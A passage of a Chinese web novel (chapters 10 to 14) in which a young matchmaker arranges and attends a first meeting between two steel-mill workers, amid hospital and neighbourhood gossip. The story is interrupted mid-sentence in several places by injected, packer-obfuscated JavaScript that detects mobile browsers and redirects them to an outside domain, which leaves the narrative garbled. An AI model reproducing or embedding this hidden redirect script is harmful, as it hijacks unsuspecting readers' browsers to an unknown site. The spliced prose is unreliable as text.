赵素兰抿了一口汤，抬头跟明晞说：“你马大妈熬这汤废不少功夫吧，你给你马大妈钱没？” 明晞：“给了。不过我本来要给马大妈五块钱，马大妈没要，说排骨一块一一斤，让我给她一块钱就行，多了她不要，我没办法，最后只能按一块钱给的她。” 赵素兰点头：“你马大妈就是这样人，不爱占人便宜。” 她想了想，说：“这样，你一会儿回去，去副食品店买两斤水果糖，再加两个罐头。买完回去你别给你马大妈，你马大妈肯定不收，说自己不爱吃那玩意。你这样，你拿回去给她家小佳，小佳喜欢吃这些零嘴，让小佳拿回去。” 明晞点头：“行。” 说完这事儿，赵素兰又好奇起来：“你给杜海介绍对象的事儿怎么样？你要是不行的话……” “不是，妈，你能不能给你最亲爱的闺女一点信任？”明晞噘着嘴：“我不怕告诉你，我现在已经找好了要给杜海介绍的对象了。” 赵素兰挑眉：“哟，谁家闺女啊？” 明晞：“这我不能告诉你。” 她说：“我这可不是跟你玩神秘，不告诉你是因为我还没跟杜海说呢，说出去不好。” 听到这话赵素兰倒是对明晞刮目相看。 她还以为明晞是说着玩呢，没想到是来真的。 明晞注意到赵素兰眼神，甩甩头得意地说：“妈，你就等着瞧好吧。” 赵素兰：“嘿，你这丫头。” 话虽然是这么说，赵素兰倒是笑出来。 算了，不考大学就不考大学，当媒婆给人保媒拉纤就当媒婆吧。 反正明晞高兴就行。 和明晞之前天天闷在屋里读书，话也不爱说一句，脸上也没个笑模样对比，现在的明晞倒是更让她放心。 这边明晞在医院陪赵素兰吃饭，另一边轧钢厂的杜海也在食堂吃饭。 杜海在轧钢厂也不算是无名之辈，进轧钢厂没到五年就已经是四级钳工，放在年轻的工人里，也算是年少有成，厂里认识他的人不少，平时他来吃饭，也经常有人跟他打招呼。 但今天落在他身上的眼神格外的多，跟他打招呼的人也格外的多。 这不，杜海正吃饭呢，就感受到一束明晃晃的视线投射在自己身上，他偏头，无奈地问：“卫宁，你不吃饭看我干嘛。” 卫宁：“看你新鲜。” 他挪挪屁股，凑到杜海身边，贱嗖嗖地问：“哎，不是，杜海，你姑姑真的为了拆散你跟王红梅的婚事，故意跑到王红梅她妈面前说你不行啊？” 杜海无奈点头。 卫宁：“嘶，你姑姑可真狠，不过她也真是够舍得花钱，还舍得花二十块钱买通你邻居。不是，我真好奇，你姑姑是你亲姑姑吗，你是她亲侄子吗，我怎么感觉她把你当日本人整呢？” 杜海沉默，深深地沉默。 别说是卫宁了，就连他也怀疑，杜淑英是不是自己亲姑姑。 毕竟是哥们，卫宁还是拍了拍杜海的肩膀，安慰一句：“没事，别难过，虽然你姑姑不做人，但好歹误会是解开了，大家都知道你是被你姑姑陷害，不是真的不行。” 杜海没好气地：“我谢谢你哈。” 卫宁这小子的安慰不如不安慰。 卫宁：“哎，不是，你别急，我是真为了你好，你看啊，误会要是没解开，你跟王红梅的婚事不就掰了，你现在……” 杜海：“我现在跟王红梅也掰了。” 他补充：“我提的。我拜托小明媒婆给我介绍新的对象了。” 卫宁：“哦、哦、那挺好的，旧的不去新的不来嘛……诶，不对小明媒婆是谁，我怎么没听说过？” 杜海：“就是给人介绍对象的赵大妈闺女，明晞。” 卫宁立马反应过来：“哦！她啊！” 同为胡同一“霸”，卫宁和明晞虽然有些王不见王，但毕竟是一条胡同长大的，卫宁对明晞有印象。 记忆里的明晞有些怯生生的，不太爱跟外人来往，所以在听说是明晞带着王家人去找杜海对峙的时候，卫宁还有些震惊。 没想到她竟然还打算干媒婆这一行。 不过想到今天早上被他撞到的、眼神灵动、充满狡黠的姑娘，卫宁倒是也觉得没那么奇怪。 震惊的不光卫宁，还有杜海院里的邻居。 明晞下午从医院出来，去了趟副食品店买东西，又回了趟大院送东西，眼瞅着太阳已经偏西，到下班点，明晞奔着杜海家而去。 等到杜海家院子，她还没说话呢，院里看到她的住户就是一声尖叫。 “嗷！赵大妈闺女又来了！” 明晞：…… 她怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997000|178219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么感觉这话不像是说她来了，而像是说女魔头来了一样？ 听到有人喊，院里的其他住户也立马探头出来，其中一个寸头青年伸着脖子问：“明晞又来了，她这次要把谁送进公安局啊？” 明晞：…… 风评受害！ 她的风评受害啊！ 晚上五点过十分，正是轧钢厂职工下班的时间点。 杜海家住的是前后三进的大院子，前前后后里里外外加一块有几十户人家，这个点进进出出的人本来就多，因为院里人喊的那一嗓子，大家都探头出来。 被围观的明晞头上忍不住的冒黑线。 她是什么恐怖分子吗？ 幸好这个时候杜海回来了。 他抬脚走进院子，看见院中间被围观的明晞一愣，充满疑惑地开口：“明同志，你是来找我的吗？” 明晞赶紧上前：“对对对，我来找你的。” 她压低音量：“之前说给你介绍对象的事有眉目了。” 杜海听到这话，脸上露出惊讶的表情。 他倒是没想到这事儿这么快就有眉目。 他连忙说：“走，咱们进屋说。” 杜海领着明晞往中院走，杜海家占了中院三间正房，是整个大杂院最好的三间房，不仅采光好，房间也大。 看得明晞眼馋极了。 不过她也知道眼馋没用，人家杜海家的这房子跟她家的房子不一样，不是轧钢厂分的公房，是他杜家的私房。 明晞跟杜海进了家门，她眼神在屋里扫视一圈，家里没人，杜海妹妹还没放学回来。 杜海：“明同志你先坐，我给你倒杯水。” 明晞坐下。 别说，杜家虽然只有杜海和妹妹两个人，但家里打扫的还是挺干净利落的，看着也还是挺温馨的。 看得出来，杜海这个人还是很爱干净的。 杜海很快地端着水杯走过来：“明同志，你喝水。” 明晞结果杯子，轻抿一口，随后便放在桌上：“是这样，我按照你的要求，给你找了两个两个女同志，除此之外，我这边还有一位女同志。不过她情况比较特殊。” 杜海疑惑，情况特殊，是怎么个特殊法？ 明晞解释：“这个女同志是今天自己找上来的，点名说是为了你来的。” 她介绍左英的情况：“这个女同志也是轧钢厂的，是四车间的，叫左英，不知道你认不认识？” “左英？”杜海摇摇头，他不认识左英，但这个名字他有印象。 去年轧钢厂技术大比武的时候，左英和他参加了一个项目，他在结果名次单上看见过左英的名字。 左英最后的名次并不算靠前，只能说是中不溜。可是在满是男人的钳工项目里，左英一个女同志能成功立足已经是很了不得的。 因为这个，杜海对左英印象很是深刻。 明晞听到杜海这话倒是也不奇怪。 杜海要是认识左英，左英也不会上门来找她帮忙介绍。 明晞笑：“不认识也没事儿，我一介绍你们不就认识了？” 她笑呵呵地说：“这样，我先给你介绍一下左英的情况。” 11. 同意相看 “左英同志和你的情况差不多，她爸之前得病没了，她妈改嫁到外地，这么多年不联系，其实也和没了差不多。除此之外，左英家里还剩下一个年纪不大的妹妹。不过左英同志自己也厉害，她接了她爸的班，在轧钢厂干的也不错，听说去年还参加轧钢厂的技术大比武来着。” “说实话，左英的条件不错，城里户口，有工作有房有车，不至于今年都二十三了还找不着对象，她啊，是跟你一样，当初接班的时候跟自己叔叔婶婶闹得不愉快，她叔叔婶婶不是个好的，因为这个背后没少败坏她的名声，导致她一直到现在都找不到合适的对象。” 明晞叭叭的把左英的情况介绍一遍。 或许是因为有相同的经历，杜海听了这话，格外的感同身受。 杜海：“那、那左英同志的要求是？” 明晞：“哦，左英同志没什么要求，就两个，同意她带着妹妹一块嫁人，以及不能抢她工作。” 她说：“她一个女同志带着个不大的妹妹不容易，之前遇到过几个上来就是要她家房子和她工作的男同志。所以……” 杜海点点头，能理解，他一个男人这些年带着妹妹都不容易，更别说左英一个女同志。 她这些年肯定吃了不少苦。 杜海心里油然升起一股心疼来。 明晞：“也是因为这个，左英才对你产生兴趣，她觉得你们两个情况差不多，最主要的是都有妹妹，这样谁也不能嫌弃谁。” 杜海被这句谁也不能嫌弃谁逗笑，轻笑出声。 明晞：“所以你是怎么想的，要不要跟左英见一面？” 杜海点头：“可以，你安排吧。” 明晞：“行，等我一会就去找左英，问问她什么时候方便见面，等定下来我再来通知你。” 杜海：“麻烦明同志了。” 明晞摆摆手站起身：“嗐，这有什么麻烦不麻烦的。” 她很有职业道德的，既然收了杜海东的介绍费，干活那是应该的。 明晞：“行，没事我就行先走了，等我和左英商量好见面的时间再来找你。” 杜海：“明同志我送你……” 杜海送明晞出来，围在院里的人还没有散，看见明晞，一个个的眼神里满满的好奇。 刚才他们听见了什么？ 明晞给杜海介绍对象？ 不是，杜海是有多想不开，让这个女魔头给他介绍对象？ 那介绍的能是什么好人吗？ 心里虽然这样想，但真面对明晞的时候，院里的这些人谁也不敢说什么。 明晞昨天那一言不合就报公安的劲儿着实是吓着他们了。 住在一个院里，低头不见抬头见的，摩擦少不了，原理不是没有吵架，甚至怒气上头直接动手的都有，但从来也没见过谁一上来就报公安的。 就这样，大家沉默的目送明晞走出院子。 明晞从杜海家出来，转头奔着左英家而去，她到左英家的时候，左英正忙着做饭，看见明晞来，当即就热情的邀请明晞留下吃饭。 明晞摆摆手：“不了，我就不留下吃了，一会儿我还得去医院给我妈送饭呢。” 听到这话，左英便没再强求。 明晞：“我今天过来，是跟你说一声，杜海想跟你相看见一面，你看看那你什么时候有时间？” 左英想了想：“这礼拜日吧。” 礼拜日休息，杜海和左英都有时间。 明晞：“行，那就这礼拜日，地点就定在文化宫的小广场，你看怎么样？” 轧钢厂后面有个工人文化宫，最早是轧钢厂的大礼堂，后来加盖上图书馆，还有简单的游乐园，一直到现在，已经形成一个不大不小的小公园。轧钢厂员工休息的时候，都喜欢去那玩。 不少年轻男女约会也喜欢去那。 正好现在春天，天气暖和，文化宫小广场那边的迎春花都开了，景也不错。 左英没什么意见。 明晞：“行，那就这么说定了，等礼拜日我再来找你。” 明晞说完，没有多耽搁，很快的就从左英家出来，她还得去医院给赵素兰送饭呢。 明晞赶到医院的时候，天已经擦黑，时间属实不早，她怕赵素兰饿着，着急忙慌地冲进病房，结果就看见赵素兰靠在病床上，饶有兴致的看着另一张病床上争吵的一家子。 一点也不像是饿着的样子。 明晞：…… “妈、妈……” 明晞走到赵素兰病床前，喊了好几声，赵素兰才听见：“哎呀，晞宝你啥时候来的？” 明晞：“……两分钟之前就来了，我都喊你好几声，你才听到。”她眼神幽怨的很。 “嗐，这不是没注意到嘛……”赵素兰讪笑。 明晞：“妈，你看啥呢？” 赵素兰拽了明晞一下，小声说：“看对面那床一家子吵架呢，你不知道，对面那床的病人是今天下午过来的，打过来开始，一家子就吵开了，一直吵到现在都没停。” 明晞：“吵什么呢？” 赵素兰：“这就说来话长。” 赵素兰指着对面病床上躺着的年轻姑娘说：“看见躺着那姑娘没，她跳楼来着，从二楼跳下来，人没事，但腿摔骨折了，所以住院的。” 她接着又指指站在对面病床前，脸色不好的中年女人：“那是病床上那姑娘的亲妈。” 明晞刚搞明白这俩人的关系，就听到对面病床又爆发一阵剧烈的争吵声。 “妈，你就是对冯帆有偏见，他哪里不好了？” “他哪里都不好！他就是个胡同串子，整天班也不上，活也不干，不是跟那群二流子出去喝酒打牌，就是在街上闲逛，一点正经事不知道做。这样的人，你让我怎么说他好！” 病床上的女同志听到这话，眼泪一滞，接着继续梨花带雨地说：“那、那是因为冯帆现在的工作配不上他，冯帆是要做大事的人。” “做大事，我呸，你见过哪个做大事的人像他一样？我看你现在被冯帆迷昏脑子，完全不能正常的思考！” 明晞好奇地戳戳赵素兰：“妈，她们说的冯帆是谁啊？” 赵素兰小声：“对面那姑娘的对象。那姑娘就是因为她妈不同意她跟她对象谈恋爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对面病床的姑娘叫黄萍萍，她妈叫孙秀珍。黄萍萍年初谈了个对象，孙秀珍看不上黄萍萍的对象，用她的话说，那就是个眼高手低一点正事不干的二流子。因为这事儿，孙秀珍还有她男人和黄萍萍吵了无数次，但黄萍萍就跟被下蛊一样，非要跟对方在一起。前几天更是要偷户口本跟对象领证，好险被孙秀珍发现，给拦住了。也是因为这样，黄萍萍才闹死闹活，闹着跳楼逼孙秀珍同意她跟对象的婚事，结果孙秀珍这边还没松口，黄萍萍就一不小心从楼上掉下去…… 后面的事明晞都知道，黄萍萍从二楼掉下来，人没事，腿骨折了。 赵素兰撇撇嘴，说：“老孙不同意黄萍萍跟她对象的事儿也是有原因的，我住院的时候黄萍萍的对象来过医院，看着确实不是什么正经人。” 明晞：“不管是不是正经人，都跟妈你没关系，你现在最主要的是养好身体。” 赵素兰：…… 她不乐意地耷拉下脸。 她这人天生闲不住，让她躺在床上一动不动，比让她干活还要难熬。 12. 正式相看 明晞收拾好自己，没再听见赵素兰的声音，不放心便走进赵素兰屋里，结果就看见赵素兰抱着胳膊，噘着嘴，一脸的不情愿。 跟小孩闹脾气一样。 明晞拍拍赵素兰肩膀，开口哄道：“妈，你今天乖乖在床上休息，等我下午回来给你带好吃的。” 赵素兰：…… “还带好吃的，你把我当小孩哄啊？” 话虽这么说，但眼瞅着明晞要出门，她还是不放心起来：“晞宝，你一个人可以吗，要不然我陪你一块去？” 明晞摆摆手：“嗐，妈你放心吧，我一个人可以的。再说了，你见过谁家媒婆领人去相看还带一个老妈子啊？” “行了，妈，我走了。”明晞说完，背上小包，甩着马尾辫出门。 她今天出门，是要接左英去和杜海相看。 第一次以介绍人的身份带别人去相看，明晞还怪紧张的，简直比相看的当事人还要紧张。 出门之前，她还特意打扮一番，浅灰色的夹克外套套着一件红色毛衣，下身搭配一条深灰色的长裤，头上梳着一个高高的马尾辫，既青春干练，又不喧宾夺主。 明晞身上背着一个斜挎包，出门径直奔着左英家而去，接上左英后，两个人一块往轧钢厂后面的文化宫走去。 左英家到文化宫的距离不算远，再加上明晞出门出得早，到文化宫的时候，才九点多一点。 她之前跟杜海说好的见面时间是十点。 发觉自己来早了，明晞本来想带着左英先找地方坐坐，可还没等她开口，就听见不远处有人喊她。 “明同志！” 明晞顺着声音的方向看过去，只见打扮得立整的杜海就站在不远处。 明晞赶紧带着左英走过去：“杜同志你来得挺早的啊？我刚才还寻思我们早到了，要等你呢，没想到你已经到了。” 杜海摸着后脑勺，憨笑着说：“我没什么事，就过来了。” 明晞点点头，偏头给左英介绍：“这就是杜海同志。” “杜海，这是左英同志。” 杜海立刻伸手：“左英同志你好，我是杜海。” 今天相看，他特意起了一个大早，去澡堂子洗了个澡，又去理发店修了修头发，回家换了一身最好的衣服——一身板正的黑西装，看着清清爽爽，一点不像是一个在车间干活的钳工。 左英伸手跟杜海简单的握手问好。 就这么一打照面，左英对杜海的印象就不错。 不管杜海平时怎么样，他今天能特意收拾了过来，说明对今天的相看上心，对自己足够尊重。 左英对杜海的印象不错，杜海对左英的第一印象也不错。 毕竟都是轧钢厂的职工，杜海又是个出名的，左英是见过杜海的，知道他的长相。倒是杜海今天才是第一次见到左英。 左英很瘦，但又不是瘦弱的那种瘦，被白色毛衣包裹的手臂纤细而有力。她剑眉星目，眼神锐利，整个人透着一股英气劲儿。 和他想象中的差不多。 毕竟是第一次见面，两个人都有点不好意思，问完好就不知道该说什么了，只能你看看我，我看看你，眼珠子来回打转。 这个时候就轮到明晞出场。 她把两个人的情况介绍一遍：“这位杜海，是轧钢厂四级钳工，他家里现在就剩下一个八岁的妹妹，现在在咱们轧钢厂的职工小学上二年级。” “这位是左英，也是在轧钢厂工作的，现在是二级工，家里也是剩下一个妹妹，今年读五年级。” 其实两边的情况，没相看之前就已经打听得很清楚了，明晞这会儿又说一遍，主要是为了找找话题。 她笑着说：“说起来还挺巧的，你们俩都是在轧钢厂上班的呢。” 杜海：“是挺巧的，我之前就听说过左英同志的名字。” 左英：“诶？” 她有些惊讶。 杜海：“去年技术大比武的时候，你也报名参加了钳工的比赛，最后成绩公布的时候，我在名单上看到了你的名字。” 左英经过提醒，倒是想起这茬，她摇摇头，说：“那次我没发挥好，都没进前十名。” 杜海：“我觉得你已经很厉害了。” 这话左英听到过不少次，很轻易便能分辨出对方说这话是为了安慰她，还是真的这么想。 杜海属于后者。 他表情很真诚。 左英礼尚往来地回一句：“你也很厉害。” 听到这话，杜海笑了一下。 两个人之间的氛围稍微打开一些，没那么尴尬了，左英想了想开口：“我家的情况你知道的吧，以后要是结婚的话，我要带着我妹妹一起嫁人的，这个你能接受吗？” 杜海反问：“我也有个妹妹，你能接受我妹妹吗？” 左英不假思索：“当然。” 杜海：“那我也一样。” 他说：“你不是说了吗，你也有妹妹，我也有妹妹，我们谁也不能嫌弃谁。” 左英露出一个浅浅的笑容。 她问：“我之前相看的时候，有人跟我说，我一个女人干钳工又累又辛苦，让我辞职回家，你是怎么想的？” “他有病吗？”杜海脱口而出，说完后怕左英误会，赶紧补充：“我说的是跟你说着这种话的人。” 他说：“现在工作多不好找，你好好的工作就这么辞职回家，那多浪费。再说，干什么工作不辛苦，辞职回家照顾家里难道不辛苦吗？你可千万别相信他的这种鬼话，你很有天赋的，大比武的时候比很多男人都厉害，说明你很适合干这一行，你继续坚持下去，没准以后能成为咱们厂第一个六级的女钳工。” 左英脸上泛起一个笑容，和之前浅浅的笑容不一样，这一次眼底都带着笑意。 她主动问：“我对你印象挺好的，你对我呢？” 杜海愣了一下，也不知道是害羞，还是太阳晒得，他脸上蔓延起淡淡的红色。 他点点头。 左英和王红梅是不一样的类型，跟杜海已经去世的妈妈也不是一样的类型。 原谅杜海，在他有限的人生里，曾经和他最亲密的两个女人除了他妈妈就是王红梅，所以他只能拿这两个人做参考。 从见面到现在这几句话就能感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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左英：“那可不是，不过主要也是因为我叔叔欠揍，当时我还没成年，他就想把我嫁出去。” 说是嫁出去，其实就是卖出去。当时那个老瘸子应允她叔叔说会给两百块钱彩礼，她叔叔便想也没想的同意婚事。 “还有我妹妹，我妹妹那会儿才三岁多点，他就想把我妹妹送到别人家当童养媳。” 杜海：“那你叔叔确实活该。” 要是杜淑英在他爸刚没的时候说要把他妹妹送给别人家当童养媳，他估计也忍不了，得拿着刀冲出去。 左英：“他确实活该，不过我也没有放过他，我拿刀把他吓了个够呛，他屁滚尿流地跑了。紧接着我第二天就去他工作的厂子妇联闹事，他们厂子因为这事儿给他一个重大处分，还把他打发去打扫卫生……” 杜海和左英的脾性很对味，两个人说着说着就打开话匣子，看着两个人聊开，明晞悄悄起身。 让两个人慢慢聊。 她就不当电灯泡了。 13. 成了 有经验的媒婆，在带着人相看的时候，会在男女双方聊开了之后主动退场，给两个人单独相处的时间。 明晞虽然是第一次帮人介绍对象，但也听赵素兰说过这个规矩。 所以看到杜海和左英熟络以后，明晞就悄悄退场了。 不过她倒是也没往远处走，她也怕左英和杜海这边有突发事件，到时候要找她，她人不在就麻烦了。 她就绕着杜海和左英所在的文化宫小公园附近溜溜。 “你个小兔崽子是想气死我啊，都多大人了，还跟小孩一样，闹离家出走？你离家出走就离家出走，倒是跟我说一声你去哪啊，这一大清早给我急的，我满城的找你，结果你小子竟然躲在这里。” “妈，你看你这话说的，跟你说去哪，那还叫离家出走吗？” 一阵喧哗声传来，明晞下意识看过去，只见一个圆脸的中年女人正揪着一个小伙子的耳朵骂骂咧咧。 巧了，这俩人明晞还都认识。 被揪着耳朵训的不是被人，正是跟她一起并列胡同里最不能招惹的人的卫宁，揪着卫宁耳朵的则是他妈——丁玉梅。 明晞站着的地方是小公园靠里的一个拐角，她拐过来看见卫宁母子的同时，卫宁也看见她了。 卫宁眼睛看着明晞，嘴上意义明确地说：“妈、妈、妈，这还在外面呢，你给我留点面子，先把我耳朵放开呗~” 丁玉梅这时候也看见明晞了，她讪讪地松开手。 到底还是在外面，她还是要给自家儿子留面子。 到底是住在一条胡同的，明晞主动上前打招呼：“丁大妈，遛弯啊？” 丁玉梅讪笑：“啊，对，溜公园，闲着没事干，我出来溜溜。” 明晞没有提刚才撞见的尴尬场面，丁玉梅就当明晞没有看见，她脸上挂着笑，说：“对了，明晞你妈怎么样，前阵子听说她住院了？” 明晞：“劳您惦记着，我妈没事，现在已经出院了。她主要是腰上的老毛病，医生说得静养。” 丁玉梅：“是，以前就听你妈说她腰不太好……” 明晞跟丁玉梅寒暄了几句才离开，她走出去没多远，就听见丁玉梅的怒吼声再次传来：“小三子你闹啥，就因为跟你二嫂吵架，还不愿意回家了？你二嫂是啥样人你还不知道，那就是个不着四六的，你听她的话呢？” 明晞看着远去的母子俩背影若有所思。 卫家的事儿她多少知道点，前几年上山下乡还没取消的时候，卫家老二被安排着下乡当知青，到下乡没一年，就传信回来，说在乡下找了个媳妇儿要结婚。卫家父母当然不愿意自家儿子找个乡下的媳妇，可是闹了半天最后还是没用，卫老二还是在乡下结了婚，后面知青返城的时候，卫老二也带着自己乡下的媳妇儿回来了。 听说卫老二媳妇儿原本在娘家挺受宠，全家人都把她捧在手心里，把她养成恃宠而骄的脾气，家人之后也是一样的脾性，在卫家争强好胜，事事要跟卫家老大的媳妇比。因为这个，卫家三天两头的吵架，不是婆婆跟儿媳妇吵架，就是大儿媳跟二儿媳吵架。 没想到卫老二媳妇现在竟然跟卫宁这个卫家的心肝宝杠上了。 明晞心里小小地惊讶了一下，倒是没把这事儿放在心上，继续在公园里兜溜溜。 又走了一阵，她估摸着时间差不多，转悠回去，就看见杜海和左英还在继续聊着，两个人分脸上都挂着笑容，看样子是聊得不错。 杜海注意到明晞回来，赶紧说：“明同志，我正要找你呢，时间不早了，你跟左英应该都饿了吧，这样，咱们一块去国营饭店吃顿饭吧，我请客。” 杜海很是大气，不过明晞也不傻。 她清楚，杜海真正想请的是左英，自己只是添头。 她十分有眼色的摆摆手：“吃饭你们去吧，我就不去了，我妈还在家里等着我回去呢，你们好好吃吧。” 说完，明晞十分有暗示性的眨眨眼睛：“而且，你们要是想请我吃饭，以后肯定还有机会。” 有什么机会？ 当然是结婚摆席。 杜海和左英闹了个大红脸，明显是听懂明晞话里的意思。 杜海红着脸强壮镇定：“行，那就以后再请你吃饭。” 这话里的意思是在暗示明晞，两个人成了。 明晞听懂，戏谑地朝两人笑笑，眼瞅着两个人脸越来越红，红得快跟个红苹果似的，才放过这俩人。 跟两人告辞后，她脚步轻快地往家走，想赶紧回家跟她妈说自己第一次给人介绍对象成功的事，可她脚刚踏进院子，还没走到后院，就被何大妈给拦住了。 何大妈：“哎，明晞！” 明晞停住脚步：“何大妈，你找我有事？” 何大妈摆摆手：“没事，没什么大事。” 她八卦地凑过来，搓着手说：“我看你今儿一大早就出去，是陪杜海相看去了吧？” 明晞挑挑眉：“哟，何大妈，你消息还挺灵通的。” 竟然知道杜海今天要去相看。 何大妈：“嘿嘿，不怕你知道，咱们轧钢厂这一片，就没有我不知道的事儿。” 明晞竖起大拇指：“何大妈您厉害。” 果然不能小瞧胡同里的大妈，这可是后世朝阳群众和西城大妈的前身。 何大妈：“所以，杜海相看的怎么样，跟女方成了没？” 明晞没回答这个问题，反而问：“何大妈，您怎么这么关心杜海相看成没成？怎么，您想给杜海介绍对象？” 何大妈左右看看，没看见身边有人，凑到明晞身前，小声说：“嘿，你别说，我还真有个合适的对象想介绍给杜海，是我娘家的一个侄女。” 明晞上下扫何大妈一眼：“您娘家侄女，那是乡下户口吧？” 何大妈是乡下嫁到城里的，她娘家侄女自然也是乡下人。 何大妈：“是乡下户口，但是我侄女人长得漂亮，手脚也麻利，干活可利索了，除了户口差一点，其他样样都不错……” 眼瞅着何大妈滔滔不觉地要往下说，明晞赶紧叫停：“停停停，何大妈，你来晚了，杜海和今天相看的那姑娘相处的挺好的，估计两个人能成。” 何大妈遗憾地啧了一声。 她到不是多喜欢杜海，只是觉得杜海条件不错，她侄女错过了怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997003|178219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜的。 明晞看何大妈这样，主动问：“何大妈，您想给您侄女找对象啊，那您找我啊。这样你先跟我说说你侄女的情况，她今年多大了，什么学历，现在有没有工作？还有她想找个什么样的对象？我看看我手里有没有合适的给她介绍一个。” 何大妈迅速变脸，她抿抿嘴：“那还是算了吧，我侄女年纪还小，现在也没有那么着急找对象。” 她可不敢把自己侄女下半生的幸福交给明晞一个乳臭未干的小丫头。 “那什么，我家里炉子上还坐着菜呢，我得回去看火，先回去了。” 何大妈说完，拔腿就走，生怕明晞追上来一样。 明晞：…… 至于跑得这么快吗？ 她撇撇嘴。 为何大妈的不信任感到深深的伤心。 明晞一甩马尾辫，转身也回了家。 她到家第一件事就是把杜海和左英看对眼的好消息告诉赵素兰，接着又吐槽一边何大妈对她的不信任。 她气鼓鼓地：“何大妈真是的，一点眼光都没有，别以为我看不出来，她就是觉得我年轻，肯定不能给她侄女介绍到好对象。我虽然年轻，但我是谁啊，我可是赵素兰的闺女，我从小就看你给别人介绍对象，四舍五入，我也算是有二十来年给人介绍对象的经验呢。” 赵素兰：…… 她都不敢说这话。 明晞小小的惆怅：“哎，这么多天了，除了杜海都没人找我介绍对象。” 她眼珠溜溜转：“妈，你说我要不要去街上，或者公园发发传单，招揽招揽生意？” 赵素兰：“得了吧你，你见谁家当媒婆的去街上发传单啊？” 明晞撇撇嘴。 在街上发传单怎么了。 放后世，婚介软件交友软件铺天盖地哪里都有呢。 赵素兰：“晞宝，要不我还是拿钱给你买个工作吧，有个工作起码比现在这样要好一些，你这样太辛苦，而且……” 明晞摆摆手：“妈，你别着急，我有我的节奏，我相信，早晚有人能找上门来。” 赵素兰：…… 她倒是想劝，但看着明晞一脸认真的样子，也只能把到嘴头的话咽下去。 虽然明晞在赵素兰一脸自信，不过转头她倒是开始头秃起来。 媒婆这一行，靠的是口碑和资历。 她年纪轻轻，又刚踏入这行，根本没人敢信任她，找她介绍对象啊。 难道，她真的得去街上发传单？ 明晞苦恼地挠挠头，一直到晚上睡着也没想到一个好的解决办法。 不过让人没想到的是，转天这事儿就迎来了转机。 还真有人找上门来请她帮忙介绍对象。 不，不对。 准确地说，对方是找赵素兰介绍对象。 但赵素兰现在在床上修养，连床都不能下，更不要说给人介绍对象。 明晞瞅准时机，立马上前推销自己：“孙大妈，我妈现在还在修养，估计是不能给您闺女介绍对象。不过我也干给人保媒拉纤的活，这不，我昨天刚撮合成一对。男方是轧钢厂的杜海。” 14. 新任务 杜海最近在轧钢厂这一片可是出了大名，提起他的名字无人不知无人不晓。 孙秀珍家里虽然没有在轧钢厂工作的人，但也听说过杜海的事儿，所以一听明晞提起杜海，眼睛都亮起来。 是的，找赵素兰帮忙介绍对象的不是别人，正是在医院住赵素兰对面床的孙秀珍。 她实在是接受不了自家闺女嫁给一个二流子，可是不管她怎么说怎么劝，黄萍萍就是非要跟冯帆在一起。逼得她实在是没办法，想出一个歪主意。 那就是，给黄萍萍介绍别的对象。 孙秀珍觉得自家闺女之所以会在冯帆那棵树上吊死，完全是因为没见识过外面的小伙子们有多优秀。她就不信，黄萍萍跟别的好小伙相处多了，还能对冯帆死心塌地。 这么想着，孙秀珍就想到刚认识的赵素兰了，听说赵素兰就是干给人保媒拉纤这个活的，于是今天一大早便找上门来。结果没想到，赵素兰现在要养病，不能给人介绍对象，反倒是她闺女说可以。 孙秀珍眉毛微蹙，眼中满是纠结。 她眼神上上下下对着明晞来回打量。 看着明晞年轻的脸蛋，她不敢放心。 但想到明晞说昨天刚给杜海撮合成，她又有些心动。 谁不知道杜海啊。被自己亲姑姑造谣，害得婚事掰了，对象分手的倒霉蛋。不过，他这刚跟对象掰了，这么快就找到对象了？ 看来给杜海介绍对象的这个明晞有点东西啊。 孙秀珍纠结半天，最后点头：“那就麻烦小明同志。” 她想着死马当作活马医，不管明晞给她闺女介绍什么样的小伙子，只要比冯帆那个二流子好就行。 终于有生意上门，明晞心里乐开花，她翘着嘴角，轻声细语：“那黄同志对对象的要求是什么？” 孙秀珍：“她？她对自己对象没要求，你也不用管她，就听我的就行。听我的，你给她找一个正常的，老实的，勤勤恳恳工作的小伙子。只要不是像冯帆那样，一天天的一点正经事不干就行，我现在啊，只求着萍萍跟冯帆分手，跟别人谁在一起都成。” 明晞听得糊里糊涂。 孙秀珍今天一上来就说要请她妈给黄萍萍介绍对象，她还以为黄萍萍跟对象分手了呢。 但听孙秀珍话里话外的意思，感觉不像是那么回事啊？ 明晞斟酌了一下，开口：“那个，孙大妈我问个事儿，就是萍萍和她对象分手了吗？” 